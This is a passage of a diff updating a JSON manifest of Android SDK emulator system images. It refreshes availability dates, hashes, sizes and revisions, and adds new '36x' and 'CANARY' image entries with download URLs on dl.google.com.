           "path": "system-images/android-33/android-wear/arm64-v8a",
@@ -10847,7 +10847,7 @@
             }
           },
           "displayName": "Wear OS 4 Intel x86_64 Atom System Image",
-          "last-available-day": 20237,
+          "last-available-day": 20318,
           "license": "android-sdk-license",
           "name": "system-image-33-android-wear-x86_64",
           "path": "system-images/android-33/android-wear/x86_64",
@@ -10898,7 +10898,7 @@
             }
           },
           "displayName": "ARM 64 v8a System Image",
-          "last-available-day": 20237,
+          "last-available-day": 20318,
           "license": "android-sdk-license",
           "name": "system-image-33-default-arm64-v8a",
           "path": "system-images/android-33/default/arm64-v8a",
@@ -10947,7 +10947,7 @@
             }
           },
           "displayName": "Intel x86_64 Atom System Image",
-          "last-available-day": 20237,
+          "last-available-day": 20318,
           "license": "android-sdk-license",
           "name": "system-image-33-default-x86_64",
           "path": "system-images/android-33/default/x86_64",
@@ -11008,7 +11008,7 @@
             }
           },
           "displayName": "Google APIs ARM 64 v8a System Image",
-          "last-available-day": 20237,
+          "last-available-day": 20318,
           "license": "android-sdk-arm-dbt-license",
           "name": "system-image-33-google_apis-arm64-v8a",
           "path": "system-images/android-33/google_apis/arm64-v8a",
@@ -11075,7 +11075,7 @@
             }
           },
           "displayName": "Google APIs Intel x86_64 Atom System Image",
-          "last-available-day": 20237,
+          "last-available-day": 20318,
           "license": "android-sdk-license",
           "name": "system-image-33-google_apis-x86_64",
           "path": "system-images/android-33/google_apis/x86_64",
@@ -11144,7 +11144,7 @@
             }
           },
           "displayName": "Google Play ARM 64 v8a System Image",
-          "last-available-day": 20237,
+          "last-available-day": 20318,
           "license": "android-sdk-arm-dbt-license",
           "name": "system-image-33-google_apis_playstore-arm64-v8a",
           "path": "system-images/android-33/google_apis_playstore/arm64-v8a",
@@ -11211,7 +11211,7 @@
             }
           },
           "displayName": "Google Play Intel x86_64 Atom System Image",
-          "last-available-day": 20237,
+          "last-available-day": 20318,
           "license": "android-sdk-license",
           "name": "system-image-33-google_apis_playstore-x86_64",
           "path": "system-images/android-33/google_apis_playstore/x86_64",
@@ -11286,7 +11286,7 @@
             }
           },
           "displayName": "Google Play ARM 64 v8a System Image",
-          "last-available-day": 20237,
+          "last-available-day": 20318,
           "license": "android-sdk-arm-dbt-license",
           "name": "system-image-33x-google_apis_playstore-arm64-v8a",
           "path": "system-images/android-33-ext4/google_apis_playstore/arm64-v8a",
@@ -11335,7 +11335,7 @@
             }
           },
           "displayName": "Google Play Intel x86_64 Atom System Image",
-          "last-available-day": 20237,
+          "last-available-day": 20318,
           "license": "android-sdk-preview-license",
           "name": "system-image-33x-google_apis_playstore-x86_64",
           "path": "system-images/android-33-ext4/google_apis_playstore/x86_64",
@@ -11398,7 +11398,7 @@
             }
           },
           "displayName": "Android TV ARM 64 v8a System Image",
-          "last-available-day": 20237,
+          "last-available-day": 20318,
           "license": "android-sdk-license",
           "name": "system-image-34-android-tv-arm64-v8a",
           "path": "system-images/android-34/android-tv/arm64-v8a",
@@ -11458,7 +11458,7 @@
             }
           },
           "displayName": "Android TV Intel x86 Atom System Image",
-          "last-available-day": 20237,
+          "last-available-day": 20318,
           "license": "android-sdk-license",
           "name": "system-image-34-android-tv-x86",
           "path": "system-images/android-34/android-tv/x86",
@@ -11498,7 +11498,7 @@
             }
           ],
           "displayName": "Wear OS 5 ARM 64 v8a System Image",
-          "last-available-day": 20237,
+          "last-available-day": 20318,
           "license": "android-sdk-license",
           "name": "system-image-34-android-wear-arm64-v8a",
           "path": "system-images/android-34/android-wear/arm64-v8a",
@@ -11535,7 +11535,7 @@
             }
           ],
           "displayName": "Wear OS 5 Intel x86_64 Atom System Image",
-          "last-available-day": 20237,
+          "last-available-day": 20318,
           "license": "android-sdk-license",
           "name": "system-image-34-android-wear-x86_64",
           "path": "system-images/android-34/android-wear/x86_64",
@@ -11586,7 +11586,7 @@
             }
           },
           "displayName": "ARM 64 v8a System Image",
-          "last-available-day": 20237,
+          "last-available-day": 20318,
           "license": "android-sdk-license",
           "name": "system-image-34-default-arm64-v8a",
           "path": "system-images/android-34/default/arm64-v8a",
@@ -11635,7 +11635,7 @@
             }
           },
           "displayName": "Intel x86_64 Atom System Image",
-          "last-available-day": 20237,
+          "last-available-day": 20318,
           "license": "android-sdk-license",
           "name": "system-image-34-default-x86_64",
           "path": "system-images/android-34/default/x86_64",
@@ -11696,7 +11696,7 @@
             }
           },
           "displayName": "Google APIs ARM 64 v8a System Image",
-          "last-available-day": 20237,
+          "last-available-day": 20318,
           "license": "android-sdk-arm-dbt-license",
           "name": "system-image-34-google_apis-arm64-v8a",
           "path": "system-images/android-34/google_apis/arm64-v8a",
@@ -11764,7 +11764,7 @@
             }
           },
           "displayName": "Google APIs Intel x86_64 Atom System Image",
-          "last-available-day": 20237,
+          "last-available-day": 20318,
           "license": "android-sdk-license",
           "name": "system-image-34-google_apis-x86_64",
           "path": "system-images/android-34/google_apis/x86_64",
@@ -11834,7 +11834,7 @@
             }
           },
           "displayName": "Google Play ARM 64 v8a System Image",
-          "last-available-day": 20237,
+          "last-available-day": 20318,
           "license": "android-sdk-arm-dbt-license",
           "name": "system-image-34-google_apis_playstore-arm64-v8a",
           "path": "system-images/android-34/google_apis_playstore/arm64-v8a",
@@ -11903,7 +11903,7 @@
             }
           },
           "displayName": "Google Play Intel x86_64 Atom System Image",
-          "last-available-day": 20237,
+          "last-available-day": 20318,
           "license": "android-sdk-license",
           "name": "system-image-34-google_apis_playstore-x86_64",
           "path": "system-images/android-34/google_apis_playstore/x86_64",
@@ -11966,7 +11966,7 @@
             }
           },
           "displayName": "Android Automotive with Google APIs arm64-v8a System Image",
-          "last-available-day": 20237,
+          "last-available-day": 20318,
           "license": "android-sdk-license",
           "name": "system-image-34x-android-automotive-arm64-v8a",
           "path": "system-images/android-34-ext9/android-automotive/arm64-v8a",
@@ -12019,7 +12019,7 @@
             }
           },
           "displayName": "Android Automotive with Google APIs x86_64 System Image",
-          "last-available-day": 20237,
+          "last-available-day": 20318,
           "license": "android-sdk-license",
           "name": "system-image-34x-android-automotive-x86_64",
           "path": "system-images/android-34-ext9/android-automotive/x86_64",
@@ -12088,7 +12088,7 @@
             }
           },
           "displayName": "Google Play ARM 64 v8a System Image",
-          "last-available-day": 20237,
+          "last-available-day": 20318,
           "license": "android-sdk-arm-dbt-license",
           "name": "system-image-34x-google_apis_playstore-arm64-v8a",
           "path": "system-images/android-34-ext12/google_apis_playstore/arm64-v8a",
@@ -12137,7 +12137,7 @@
             }
           },
           "displayName": "Google Play Intel x86_64 Atom System Image",
-          "last-available-day": 20237,
+          "last-available-day": 20318,
           "license": "android-sdk-license",
           "name": "system-image-34x-google_apis_playstore-x86_64",
           "path": "system-images/android-34-ext12/google_apis_playstore/x86_64",
@@ -12178,7 +12178,7 @@
             }
           ],
           "displayName": "Wear OS 5.1 - Preview ARM 64 v8a System Image",
-          "last-available-day": 20237,
+          "last-available-day": 20318,
           "license": "android-sdk-preview-license",
           "name": "system-image-35-android-wear-arm64-v8a",
           "path": "system-images/android-35/android-wear/arm64-v8a",
@@ -12210,7 +12210,7 @@
             }
           ],
           "displayName": "Wear OS 5.1 - Preview Intel x86_64 Atom System Image",
-          "last-available-day": 20237,
+          "last-available-day": 20318,
           "license": "android-sdk-preview-license",
           "name": "system-image-35-android-wear-x86_64",
           "path": "system-images/android-35/android-wear/x86_64",
@@ -12256,7 +12256,7 @@
             }
           },
           "displayName": "ARM 64 v8a System Image",
-          "last-available-day": 20237,
+          "last-available-day": 20318,
           "license": "android-sdk-license",
           "name": "system-image-35-default-arm64-v8a",
           "path": "system-images/android-35/default/arm64-v8a",
@@ -12301,7 +12301,7 @@
             }
           },
           "displayName": "Intel x86_64 Atom System Image",
-          "last-available-day": 20237,
+          "last-available-day": 20318,
           "license": "android-sdk-license",
           "name": "system-image-35-default-x86_64",
           "path": "system-images/android-35/default/x86_64",
@@ -12348,7 +12348,7 @@
             }
           },
           "displayName": "Google APIs ARM 64 v8a System Image",
-          "last-available-day": 20237,
+          "last-available-day": 20318,
           "license": "android-sdk-arm-dbt-license",
           "name": "system-image-35-google_apis-arm64-v8a",
           "path": "system-images/android-35/google_apis/arm64-v8a",
@@ -12406,7 +12406,7 @@
             }
           },
           "displayName": "Google APIs Intel x86_64 Atom System Image",
-          "last-available-day": 20237,
+          "last-available-day": 20318,
           "license": "android-sdk-license",
           "name": "system-image-35-google_apis-x86_64",
           "path": "system-images/android-35/google_apis/x86_64",
@@ -12466,7 +12466,7 @@
             }
           },
           "displayName": "Google Play ARM 64 v8a System Image",
-          "last-available-day": 20237,
+          "last-available-day": 20318,
           "license": "android-sdk-arm-dbt-license",
           "name": "system-image-35-google_apis_playstore-arm64-v8a",
           "path": "system-images/android-35/google_apis_playstore/arm64-v8a",
@@ -12524,7 +12524,7 @@
             }
           },
           "displayName": "Google Play Intel x86_64 Atom System Image",
-          "last-available-day": 20237,
+          "last-available-day": 20318,
           "license": "android-sdk-license",
           "name": "system-image-35-google_apis_playstore-x86_64",
           "path": "system-images/android-35/google_apis_playstore/x86_64",
@@ -12584,7 +12584,7 @@
             }
           },
           "displayName": "Pre-Release 16 KB Page Size Google Play ARM 64 v8a System Image",
-          "last-available-day": 20237,
+          "last-available-day": 20318,
           "license": "android-sdk-arm-dbt-license",
           "name": "system-image-35-page_size_16kb-arm64-v8a",
           "path": "system-images/android-35/google_apis_playstore_ps16k/arm64-v8a",
@@ -12646,7 +12646,7 @@
             }
           },
           "displayName": "Pre-Release 16 KB Page Size Google Play Intel x86_64 Atom System Image",
-          "last-available-day": 20237,
+          "last-available-day": 20318,
           "license": "android-sdk-license",
           "name": "system-image-35-page_size_16kb-x86_64",
           "path": "system-images/android-35/google_apis_playstore_ps16k/x86_64",
@@ -12700,7 +12700,7 @@
             }
           ],
           "displayName": "Wear OS 5.1 ARM 64 v8a System Image",
-          "last-available-day": 20237,
+          "last-available-day": 20318,
           "license": "android-sdk-license",
           "name": "system-image-35x-android-wear-arm64-v8a",
           "path": "system-images/android-35-ext15/android-wear/arm64-v8a",
@@ -12733,7 +12733,7 @@
             }
           ],
           "displayName": "Wear OS 5.1 Intel x86_64 Atom System Image",
-          "last-available-day": 20237,
+          "last-available-day": 20318,
           "license": "android-sdk-license",
           "name": "system-image-35x-android-wear-x86_64",
           "path": "system-images/android-35-ext15/android-wear/x86_64",
@@ -12780,7 +12780,7 @@
             }
           },
           "displayName": "Google APIs ARM 64 v8a System Image",
-          "last-available-day": 20237,
+          "last-available-day": 20318,
           "license": "android-sdk-arm-dbt-license",
           "name": "system-image-35x-google_apis-arm64-v8a",
           "path": "system-images/android-35-ext15/google_apis/arm64-v8a",
@@ -12829,7 +12829,7 @@
             }
           },
           "displayName": "Google APIs Intel x86_64 Atom System Image",
-          "last-available-day": 20237,
+          "last-available-day": 20318,
           "license": "android-sdk-license",
           "name": "system-image-35x-google_apis-x86_64",
           "path": "system-images/android-35-ext15/google_apis/x86_64",
@@ -12880,7 +12880,7 @@
             }
           },
           "displayName": "Google Play ARM 64 v8a System Image",
-          "last-available-day": 20237,
+          "last-available-day": 20318,
           "license": "android-sdk-arm-dbt-license",
           "name": "system-image-35x-google_apis_playstore-arm64-v8a",
           "path": "system-images/android-35-ext15/google_apis_playstore/arm64-v8a",
@@ -12929,7 +12929,7 @@
             }
           },
           "displayName": "Google Play Intel x86_64 Atom System Image",
-          "last-available-day": 20237,
+          "last-available-day": 20318,
           "license": "android-sdk-license",
           "name": "system-image-35x-google_apis_playstore-x86_64",
           "path": "system-images/android-35-ext15/google_apis_playstore/x86_64",
@@ -12964,16 +12964,16 @@
             {
               "arch": "all",
               "os": "all",
-              "sha1": "53f3fa2adea692b7eabf698d59fdc34d36ff08e4",
-              "size": 1139080003,
+              "sha1": "68c04da635bb6cf224e651661d510b91142c9687",
+              "size": 1138277876,
               "url": "https://dl.google.com/android/repository/sys-img/android-wear/arm64-v8a-36_signed_r01.zip"
             }
           ],
-          "displayName": "Wear OS 6.0 - Preview ARM 64 v8a System Image (signed)",
-          "last-available-day": 20237,
+          "displayName": "Wear OS 6.0 ARM 64 v8a System Image (signed)",
+          "last-available-day": 20318,
           "license": "android-sdk-license",
           "name": "system-image-36-android-wear-arm64-v8a",
-          "path": "system-images/signed/android-36/android-wear/arm64-v8a",
+          "path": "system-images/android-36/android-wear-signed/arm64-v8a",
           "revision": "36-android-wear-arm64-v8a",
           "revision-details": {
             "major:0": "1"
@@ -12987,7 +12987,7 @@
             },
             "extension-level:1": "17",
             "tag:3": {
-              "display:1": "Wear OS 6.0 - Preview",
+              "display:1": "Wear OS 6.0",
               "id:0": "android-wear"
             }
           }
@@ -12997,16 +12997,16 @@
             {
               "arch": "all",
               "os": "all",
-              "sha1": "7ae6c4e1c614a649f75ccb653769ccd8cdb30e4a",
-              "size": 1116094453,
+              "sha1": "aafbeec62bc54dd4388022f57d981bf486211acd",
+              "size": 1115294480,
               "url": "https://dl.google.com/android/repository/sys-img/android-wear/x86_64-36_signed_r01.zip"
             }
           ],
-          "displayName": "Wear OS 6.0 - Preview Intel x86_64 Atom System Image (signed)",
-          "last-available-day": 20237,
+          "displayName": "Wear OS 6.0 Intel x86_64 Atom System Image (signed)",
+          "last-available-day": 20318,
           "license": "android-sdk-license",
           "name": "system-image-36-android-wear-x86_64",
-          "path": "system-images/signed/android-36/android-wear/x86_64",
+          "path": "system-images/android-36/android-wear-signed/x86_64",
           "revision": "36-android-wear-x86_64",
           "revision-details": {
             "major:0": "1"
@@ -13020,7 +13020,7 @@
             },
             "extension-level:1": "17",
             "tag:3": {
-              "display:1": "Wear OS 6.0 - Preview",
+              "display:1": "Wear OS 6.0",
               "id:0": "android-wear"
             }
           }
@@ -13050,7 +13050,7 @@
             }
           },
           "displayName": "Google APIs ARM 64 v8a System Image",
-          "last-available-day": 20237,
+          "last-available-day": 20318,
           "license": "android-sdk-arm-dbt-license",
           "name": "system-image-36-google_apis-arm64-v8a",
           "path": "system-images/android-36/google_apis/arm64-v8a",
@@ -13099,7 +13099,7 @@
             }
           },
           "displayName": "Google APIs Intel x86_64 Atom System Image",
-          "last-available-day": 20237,
+          "last-available-day": 20318,
           "license": "android-sdk-license",
           "name": "system-image-36-google_apis-x86_64",
           "path": "system-images/android-36/google_apis/x86_64",
@@ -13132,9 +13132,9 @@
             {
               "arch": "all",
               "os": "all",
-              "sha1": "b4de516b43b508947d04484732351d9a36fee33f",
-              "size": 1874450592,
-              "url": "https://dl.google.com/android/repository/sys-img/google_apis_playstore/arm64-v8a-36_r06.zip"
+              "sha1": "5b91ef80a5eb60d7b7167528db259c2a12d20e9c",
+              "size": 1886527965,
+              "url": "https://dl.google.com/android/repository/sys-img/google_apis_playstore/arm64-v8a-36_r07.zip"
             }
           ],
           "dependencies": {
@@ -13144,19 +13144,19 @@
               },
               "min-revision:0": {
                 "major:0": "35",
-                "micro:2": "10",
-                "minor:1": "2"
+                "micro:2": "9",
+                "minor:1": "4"
               }
             }
           },
           "displayName": "Google Play ARM 64 v8a System Image",
-          "last-available-day": 20237,
+          "last-available-day": 20318,
           "license": "android-sdk-arm-dbt-license",
           "name": "system-image-36-google_apis_playstore-arm64-v8a",
           "path": "system-images/android-36/google_apis_playstore/arm64-v8a",
           "revision": "36-google_apis_playstore-arm64-v8a",
           "revision-details": {
-            "major:0": "6"
+            "major:0": "7"
           },
           "type-details": {
             "abi:5": "arm64-v8a",
@@ -13181,9 +13181,9 @@
             {
               "arch": "all",
               "os": "all",
-              "sha1": "398e02989fb3c274dd2d99541cf71255de538651",
-              "size": 1912630049,
-              "url": "https://dl.google.com/android/repository/sys-img/google_apis_playstore/x86_64-36_r06.zip"
+              "sha1": "16fa3c441d29fde6c9eea2f766eecf77032d68b4",
+              "size": 1924689206,
+              "url": "https://dl.google.com/android/repository/sys-img/google_apis_playstore/x86_64-36_r07.zip"
             }
           ],
           "dependencies": {
@@ -13193,19 +13193,19 @@
               },
               "min-revision:0": {
                 "major:0": "35",
-                "micro:2": "10",
-                "minor:1": "2"
+                "micro:2": "9",
+                "minor:1": "4"
               }
             }
           },
           "displayName": "Google Play Intel x86_64 Atom System Image",
-          "last-available-day": 20237,
+          "last-available-day": 20318,
           "license": "android-sdk-license",
           "name": "system-image-36-google_apis_playstore-x86_64",
           "path": "system-images/android-36/google_apis_playstore/x86_64",
           "revision": "36-google_apis_playstore-x86_64",
           "revision-details": {
-            "major:0": "6"
+            "major:0": "7"
           },
           "type-details": {
             "abi:5": "x86_64",
@@ -13250,7 +13250,7 @@
             }
           },
           "displayName": "Pre-Release 16 KB Page Size Google Play ARM 64 v8a System Image",
-          "last-available-day": 20237,
+          "last-available-day": 20318,
           "license": "android-sdk-arm-dbt-license",
           "name": "system-image-36-page_size_16kb-arm64-v8a",
           "path": "system-images/android-36/google_apis_playstore_ps16k/arm64-v8a",
@@ -13303,7 +13303,7 @@
             }
           },
           "displayName": "Pre-Release 16 KB Page Size Google Play Intel x86_64 Atom System Image",
-          "last-available-day": 20237,
+          "last-available-day": 20318,
           "license": "android-sdk-license",
           "name": "system-image-36-page_size_16kb-x86_64",
           "path": "system-images/android-36/google_apis_playstore_ps16k/x86_64",
@@ -13335,6 +13335,208 @@
         }
       }
     },
+    "36x": {
+      "google_apis": {
+        "arm64-v8a": {
+          "archives": [
+            {
+              "arch": "all",
+              "os": "all",
+              "sha1": "b19147a0a8f698bd1d8467a5db8f994ad4a3ac6a",
+              "size": 1865400318,
+              "url": "https://dl.google.com/android/repository/sys-img/google_apis/arm64-v8a-36-ext18_r01.zip"
+            }
+          ],
+          "dependencies": {
+            "dependency:0": {
+              "element-attributes": {
+                "path": "emulator"
+              },
+              "min-revision:0": {
+                "major:0": "35",
+                "micro:2": "9",
+                "minor:1": "4"
+              }
+            }
+          },
+          "displayName": "Google APIs ARM 64 v8a System Image",
+          "last-available-day": 20318,
+          "license": "android-sdk-arm-dbt-license",
+          "name": "system-image-36x-google_apis-arm64-v8a",
+          "path": "system-images/android-36-ext19/google_apis/arm64-v8a",
+          "revision": "36x-google_apis-arm64-v8a",
+          "revision-details": {
+            "major:0": "1"
+          },
+          "type-details": {
+            "abi:5": "arm64-v8a",
+            "api-level:0": "36x",
+            "base-extension:2": "false",
+            "element-attributes": {
+              "xsi:type": "ns12:sysImgDetailsType"
+            },
+            "extension-level:1": "19",
+            "tag:3": {
+              "display:1": "Google APIs",
+              "id:0": "google_apis"
+            },
+            "vendor:4": {
+              "display:1": "Google Inc.",
+              "id:0": "google"
+            }
+          }
+        },
+        "x86_64": {
+          "archives": [
+            {
+              "arch": "all",
+              "os": "all",
+              "sha1": "a630fc642602137e6b00201b1ae343d54bc408dc",
+              "size": 1888216599,
+              "url": "https://dl.google.com/android/repository/sys-img/google_apis/x86_64-36-ext18_r01.zip"
+            }
+          ],
+          "dependencies": {
+            "dependency:0": {
+              "element-attributes": {
+                "path": "emulator"
+              },
+              "min-revision:0": {
+                "major:0": "35",
+                "micro:2": "9",
+                "minor:1": "4"
+              }
+            }
+          },
+          "displayName": "Google APIs Intel x86_64 Atom System Image",
+          "last-available-day": 20318,
+          "license": "android-sdk-license",
+          "name": "system-image-36x-google_apis-x86_64",
+          "path": "system-images/android-36-ext19/google_apis/x86_64",
+          "revision": "36x-google_apis-x86_64",
+          "revision-details": {
+            "major:0": "1"
+          },
+          "type-details": {
+            "abi:5": "x86_64",
+            "api-level:0": "36x",
+            "base-extension:2": "false",
+            "element-attributes": {
+              "xsi:type": "ns12:sysImgDetailsType"
+            },
+            "extension-level:1": "19",
+            "tag:3": {
+              "display:1": "Google APIs",
+              "id:0": "google_apis"
+            },
+            "vendor:4": {
+              "display:1": "Google Inc.",
+              "id:0": "google"
+            }
+          }
+        }
+      },
+      "google_apis_playstore": {
+        "arm64-v8a": {
+          "archives": [
+            {
+              "arch": "all",
+              "os": "all",
+              "sha1": "186363c4985a3821605faa263060e45c5c71ef8e",
+              "size": 1886730732,
+              "url": "https://dl.google.com/android/repository/sys-img/google_apis_playstore/arm64-v8a-36-ext18_r01.zip"
+            }
+          ],
+          "dependencies": {
+            "dependency:0": {
+              "element-attributes": {
+                "path": "emulator"
+              },
+              "min-revision:0": {
+                "major:0": "35",
+                "micro:2": "9",
+                "minor:1": "4"
+              }
+            }
+          },
+          "displayName": "Google Play ARM 64 v8a System Image",
+          "last-available-day": 20318,
+          "license": "android-sdk-arm-dbt-license",
+          "name": "system-image-36x-google_apis_playstore-arm64-v8a",
+          "path": "system-images/android-36-ext19/google_apis_playstore/arm64-v8a",
+          "revision": "36x-google_apis_playstore-arm64-v8a",
+          "revision-details": {
+            "major:0": "1"
+          },
+          "type-details": {
+            "abi:5": "arm64-v8a",
+            "api-level:0": "36x",
+            "base-extension:2": "false",
+            "element-attributes": {
+              "xsi:type": "ns12:sysImgDetailsType"
+            },
+            "extension-level:1": "19",
+            "tag:3": {
+              "display:1": "Google Play",
+              "id:0": "google_apis_playstore"
+            },
+            "vendor:4": {
+              "display:1": "Google Inc.",
+              "id:0": "google"
+            }
+          }
+        },
+        "x86_64": {
+          "archives": [
+            {
+              "arch": "all",
+              "os": "all",
+              "sha1": "5c067300bbfea9340d8a3c7336482fc2f5451f07",
+              "size": 1924885115,
+              "url": "https://dl.google.com/android/repository/sys-img/google_apis_playstore/x86_64-36-ext18_r01.zip"
+            }
+          ],
+          "dependencies": {
+            "dependency:0": {
+              "element-attributes": {
+                "path": "emulator"
+              },
+              "min-revision:0": {
+                "major:0": "35",
+                "micro:2": "9",
+                "minor:1": "4"
+              }
+            }
+          },
+          "displayName": "Google Play Intel x86_64 Atom System Image",
+          "last-available-day": 20318,
+          "license": "android-sdk-license",
+          "name": "system-image-36x-google_apis_playstore-x86_64",
+          "path": "system-images/android-36-ext19/google_apis_playstore/x86_64",
+          "revision": "36x-google_apis_playstore-x86_64",
+          "revision-details": {
+            "major:0": "1"
+          },
+          "type-details": {
+            "abi:5": "x86_64",
+            "api-level:0": "36x",
+            "base-extension:2": "false",
+            "element-attributes": {
+              "xsi:type": "ns12:sysImgDetailsType"
+            },
+            "extension-level:1": "19",
+            "tag:3": {
+              "display:1": "Google Play",
+              "id:0": "google_apis_playstore"
+            },
+            "vendor:4": {
+              "display:1": "Google Inc.",
+              "id:0": "google"
+            }
+          }
+        }
+      }
+    },
     "Baklava": {
       "google_apis": {
         "arm64-v8a": {
@@ -13360,7 +13562,7 @@
             }
           },
           "displayName": "Google APIs ARM 64 v8a System Image",
-          "last-available-day": 20237,
+          "last-available-day": 20318,
           "license": "android-sdk-arm-dbt-license",
           "name": "system-image-Baklava-google_apis-arm64-v8a",
           "path": "system-images/android-Baklava/google_apis/arm64-v8a",
@@ -13410,7 +13612,7 @@
             }
           },
           "displayName": "Google APIs Intel x86_64 Atom System Image",
-          "last-available-day": 20237,
+          "last-available-day": 20318,
           "license": "android-sdk-license",
           "name": "system-image-Baklava-google_apis-x86_64",
           "path": "system-images/android-Baklava/google_apis/x86_64",
@@ -13462,7 +13664,7 @@
             }
           },
           "displayName": "Google Play ARM 64 v8a System Image",
-          "last-available-day": 20237,
+          "last-available-day": 20318,
           "license": "android-sdk-arm-dbt-license",
           "name": "system-image-Baklava-google_apis_playstore-arm64-v8a",
           "path": "system-images/android-Baklava/google_apis_playstore/arm64-v8a",
@@ -13512,7 +13714,7 @@
             }
           },
           "displayName": "Google Play Intel x86_64 Atom System Image",
-          "last-available-day": 20237,
+          "last-available-day": 20318,
           "license": "android-sdk-license",
           "name": "system-image-Baklava-google_apis_playstore-x86_64",
           "path": "system-images/android-Baklava/google_apis_playstore/x86_64",
@@ -13564,7 +13766,7 @@
             }
           },
           "displayName": "Pre-Release 16 KB Page Size Google Play ARM 64 v8a System Image",
-          "last-available-day": 20237,
+          "last-available-day": 20318,
           "license": "android-sdk-arm-dbt-license",
           "name": "system-image-Baklava-page_size_16kb-arm64-v8a",
           "path": "system-images/android-Baklava/google_apis_playstore_ps16k/arm64-v8a",
@@ -13618,7 +13820,7 @@
             }
           },
           "displayName": "Pre-Release 16 KB Page Size Google Play Intel x86_64 Atom System Image",
-          "last-available-day": 20237,
+          "last-available-day": 20318,
           "license": "android-sdk-license",
           "name": "system-image-Baklava-page_size_16kb-x86_64",
           "path": "system-images/android-Baklava/google_apis_playstore_ps16k/x86_64",
@@ -13651,6 +13853,322 @@
         }
       }
     },
+    "CANARY": {
+      "google_apis": {
+        "arm64-v8a": {
+          "archives": [
+            {
+              "arch": "all",
+              "os": "all",
+              "sha1": "d1f856a0a3b4034787b77c3f10e3e7fd75fa9531",
+              "size": 1910594067,
+              "url": "https://dl.google.com/android/repository/sys-img/google_apis/arm64-v8a-36.0-CANARY_r02.zip"
+            }
+          ],
+          "dependencies": {
+            "dependency:0": {
+              "element-attributes": {
+                "path": "emulator"
+              },
+              "min-revision:0": {
+                "major:0": "35",
+                "micro:2": "9",
+                "minor:1": "4"
+              }
+            }
+          },
+          "displayName": "Google APIs ARM 64 v8a System Image",
+          "last-available-day": 20318,
+          "license": "android-sdk-arm-dbt-license",
+          "name": "system-image-CANARY-google_apis-arm64-v8a",
+          "path": "system-images/android-36.0-CANARY/google_apis/arm64-v8a",
+          "revision": "CANARY-google_apis-arm64-v8a",
+          "revision-details": {
+            "major:0": "2"
+          },
+          "type-details": {
+            "abi:6": "arm64-v8a",
+            "api-level:0": "36.0",
+            "base-extension:3": "true",
+            "codename:1": "CANARY",
+            "element-attributes": {
+              "xsi:type": "ns12:sysImgDetailsType"
+            },
+            "extension-level:2": "19",
+            "tag:4": {
+              "display:1": "Google APIs",
+              "id:0": "google_apis"
+            },
+            "vendor:5": {
+              "display:1": "Google Inc.",
+              "id:0": "google"
+            }
+          }
+        },
+        "x86_64": {
+          "archives": [
+            {
+              "arch": "all",
+              "os": "all",
+              "sha1": "06999469c59997683bbf08b6e4406ac8e4b61858",
+              "size": 1942528271,
+              "url": "https://dl.google.com/android/repository/sys-img/google_apis/x86_64-36.0-CANARY_r02.zip"
+            }
+          ],
+          "dependencies": {
+            "dependency:0": {
+              "element-attributes": {
+                "path": "emulator"
+              },
+              "min-revision:0": {
+                "major:0": "35",
+                "micro:2": "9",
+                "minor:1": "4"
+              }
+            }
+          },
+          "displayName": "Google APIs Intel x86_64 Atom System Image",
+          "last-available-day": 20318,
+          "license": "android-sdk-preview-license",
+          "name": "system-image-CANARY-google_apis-x86_64",
+          "path": "system-images/android-36.0-CANARY/google_apis/x86_64",
+          "revision": "CANARY-google_apis-x86_64",
+          "revision-details": {
+            "major:0": "2"
+          },
+          "type-details": {
+            "abi:6": "x86_64",
+            "api-level:0": "36.0",
+            "base-extension:3": "true",
+            "codename:1": "CANARY",
+            "element-attributes": {
+              "xsi:type": "ns12:sysImgDetailsType"
+            },
+            "extension-level:2": "19",
+            "tag:4": {
+              "display:1": "Google APIs",
+              "id:0": "google_apis"
+            },
+            "vendor:5": {
+              "display:1": "Google Inc.",
+              "id:0": "google"
+            }
+          }
+        }
+      },
+      "google_apis_playstore": {
+        "arm64-v8a": {
+          "archives": [
+            {
+              "arch": "all",
+              "os": "all",
+              "sha1": "54c5a2d2750bebd5eaa681b2a3d52c4b9b5d7298",
+              "size": 1937268325,
+              "url": "https://dl.google.com/android/repository/sys-img/google_apis_playstore/arm64-v8a-36.0-CANARY_r02.zip"
+            }
+          ],
+          "dependencies": {
+            "dependency:0": {
+              "element-attributes": {
+                "path": "emulator"
+              },
+              "min-revision:0": {
+                "major:0": "35",
+                "micro:2": "9",
+                "minor:1": "4"
+              }
+            }
+          },
+          "displayName": "Google Play ARM 64 v8a System Image",
+          "last-available-day": 20318,
+          "license": "android-sdk-arm-dbt-license",
+          "name": "system-image-CANARY-google_apis_playstore-arm64-v8a",
+          "path": "system-images/android-36.0-CANARY/google_apis_playstore/arm64-v8a",
+          "revision": "CANARY-google_apis_playstore-arm64-v8a",
+          "revision-details": {
+            "major:0": "2"
+          },
+          "type-details": {
+            "abi:6": "arm64-v8a",
+            "api-level:0": "36.0",
+            "base-extension:3": "true",
+            "codename:1": "CANARY",
+            "element-attributes": {
+              "xsi:type": "ns12:sysImgDetailsType"
+            },
+            "extension-level:2": "19",
+            "tag:4": {
+              "display:1": "Google Play",
+              "id:0": "google_apis_playstore"
+            },
+            "vendor:5": {
+              "display:1": "Google Inc.",
+              "id:0": "google"
+            }
+          }
+        },
+        "x86_64": {
+          "archives": [
+            {
+              "arch": "all",
+              "os": "all",
+              "sha1": "8afb6a1b2a7e7b4c090cd3aaa0a0eba86e448131",
+              "size": 1985255940,
+              "url": "https://dl.google.com/android/repository/sys-img/google_apis_playstore/x86_64-36.0-CANARY_r02.zip"
+            }
+          ],
+          "dependencies": {
+            "dependency:0": {
+              "element-attributes": {
+                "path": "emulator"
+              },
+              "min-revision:0": {
+                "major:0": "35",
+                "micro:2": "9",
+                "minor:1": "4"
+              }
+            }
+          },
+          "displayName": "Google Play Intel x86_64 Atom System Image",
+          "last-available-day": 20318,
+          "license": "android-sdk-preview-license",
+          "name": "system-image-CANARY-google_apis_playstore-x86_64",
+          "path": "system-images/android-36.0-CANARY/google_apis_playstore/x86_64",
+          "revision": "CANARY-google_apis_playstore-x86_64",
+          "revision-details": {
+            "major:0": "2"
+          },
+          "type-details": {
+            "abi:6": "x86_64",
+            "api-level:0": "36.0",
+            "base-extension:3": "true",
+            "codename:1": "CANARY",
+            "element-attributes": {
+              "xsi:type": "ns12:sysImgDetailsType"
+            },
+            "extension-level:2": "19",
+            "tag:4": {
+              "display:1": "Google Play",
+              "id:0": "google_apis_playstore"
+            },
+            "vendor:5": {
+              "display:1": "Google Inc.",
+              "id:0": "google"
+            }
+          }
+        }
+      },
+      "page_size_16kb": {
+        "arm64-v8a": {
+          "archives": [
+            {
+              "arch": "all",
+              "os": "all",
